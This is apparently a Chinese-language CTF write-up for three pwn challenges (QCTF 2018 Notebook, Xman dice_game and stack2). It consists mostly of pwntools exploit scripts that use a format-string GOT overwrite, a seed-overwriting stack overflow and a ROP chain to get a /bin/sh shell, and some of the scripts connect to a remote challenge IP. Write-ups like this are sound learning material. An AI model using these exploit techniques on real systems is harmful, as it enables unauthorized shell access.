QCTF-2018-Pwn-Wp

Notebook

看了Mem2019师傅的payload感觉好强 虽然只有一行payload 但都很精妙

思路:

  • 发现是sprintf fmtstr漏洞
  • 参数完全可控
  • 应该挺简单,改got然后直接getshell
  • 然后因为strlen binding过了就瞄准printf了
  • 考虑到参数就是fmt所以在fmt开始部分放/bin/sh
  • 开始构造payload,大致是”/bin/sh”+”@$%^&*(“
  • 为了保证能过check2所以长度要一样。。。
  • 于是我开始尝试各种蠢方法最后发现不行
  • 看了看发现Mem2019师傅直接去写全局变量len然后在那后面加了个\0…
  • 然后是发现过是过了但是/bin/sh有点问题。。需要0截断
  • 然后利用一个值是0在原本的note中的地址利用%s读
  • 最终payload=”/bin/sh”+”%30$34239s”+”%28$hn”+”%30$52s”+”%29$n\0”+p32(addr)+p32(addr2)+p32(0x804800c)

exp:

from pwn import *
context.log_level="debug"
p=process("./note")
p.readuntil("name?")
debug=1
if debug==0:
	gdb.attach(p,'''
	b *0xf75fac94
	c
	''')
addr=0x804a010
addr2=0x804a08c
vul=0x80485c6#sys_plt+6
payload="/bin/sh"+"%30$34239s"+"%28$hn"+"%30$52s"+"%29$n\0"+p32(addr)+p32(addr2)+p32(0x804800c)
p.sendline(payload)
p.interactive()

第一次做sprintf的fmtstr…没有警觉性 半天找不到洞。 还有就是check比较坑check的第一个参数是fmt而sprintf为第二个然后半天搞不懂程序在干啥。。。 经验不足。

Xman-dice_game

  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 80uLL);

buf可以溢出覆盖种子seed 然后爆破顺序就可以了 爆破脚本:

from pwn import *
import random
import time 
#b *0x555555554b09 iwin
def tr(ans):
	#sleep(0.5)
	p=remote("47.96.239.28",9999)
	p.readuntil("name:")
	#context.log_level="debug"
	p.sendline(p64(0xdeadbeefdeadbeef)*8+p64(0))
	i=0
	len_now=len(ans);
	log.success(ans)
	if True:
		while i < len_now:
			p.readuntil("nt(1~6): ")
			next=ans[i]
			i+=1
			p.sendline(next)
		random.seed(time.time())
		next=str(int(random.randint(1,6)));
		p.readuntil("nt(1~6): ")
		p.sendline(next)
		print next
		sub=p.readuntil('.')
		log.info(sub)
		return sub,next

def main():
	ans="25"
	while(1):
		if len(ans)==50:
			print ans			
			break
		re,n=tr(ans)
		if "win" in re :
			ans+=n
		else :
			continue
main()

解题脚本:

from pwn import *	
p=remote("47.96.239.28",9999)
p.readuntil("name:")
p.sendline(p64(0xdeadbeefdeadbeef)*8+p64(0))
ans="25426251423232651155634433322261116425254446323361"
i=0
while i < 50:
	p.readuntil("nt(1~6): ")
	next=ans[i]
	i+=1
	p.sendline(next)
p.interactive()

比完后发现大家都是… 自己写个程序本地运行一下拿到ans的。。。 居然没有发现这个操作。

Xman-stack2

有限度的任意位置读写 做的时候没看到直接的shell… 走了弯路:

from pwn import *
def wt(off,ch):
	p.readuntil("exit")
	p.sendline("3");
	p.readuntil("which number to change:\n")
	p.sendline(str(off))
	p.readuntil("new number:\n")
	p.sendline(ch)
def wt4(off,ch):
	wt(off+0,str(ord(ch[0])));
	wt(off+1,str(ord(ch[1])));
	wt(off+2,str(ord(ch[2])));
	wt(off+3,str(ord(ch[3])));
	
system_plt=0x8048450
system_got=0x804a018
scanf_plt=0x8048480
scanf_got=0x804a024
puts_plt=0x8048440
puts_got=0x804a014
bss=0x0804a000+0x100
p2r=0x0804895a
pr= 0x08048405
p=process("./stack2")
p=remote("47.96.239.28",2333)
context.log_level="debug"
p.readuntil("have:")
p.sendline("1");
p.sendline("1");
wt4(0x00,"/bin")
wt4(0x04,"/sh\0")
c=2
if c==1:
	wt4(0x84,p32(system_plt))
	wt4(0x8c,p32(0xffffced8))
if c==2:
	wt4(0x84,p32(scanf_plt))
	wt4(0x88,p32(p2r))
	wt4(0x8c,p32(0x8048a97))
	wt4(0x90,p32(bss))
	wt4(0x94,p32(system_plt))
	wt4(0x9c,p32(bss))
if c==3:
	wt4(0x84,p32(puts_plt))
	wt4(0x88,p32(pr))
	wt4(0x8c,p32(system_got))
	wt4(0x90,p32(puts_plt))
	wt4(0x94,p32(pr))
	wt4(0x98,p32(puts_got))
debug=0
if debug==1:
	gdb.attach(p,'''
	b *0xf7e3ec94
	''')
p.sendline("5")

p.sendline("26739")
p.interactive()
0x8048456
#p32(puts)+p32(pr)+p32(system_got)+p32(puts)+p32(pr)+p32(puts_got)
#p32(scanf)+p32(p2r)+p32(0x8048a97)+p32(bss)+p32(sys)+p32(0xdeadbeef)+p32(bss)
#start at 0xffffced8
#ret_addr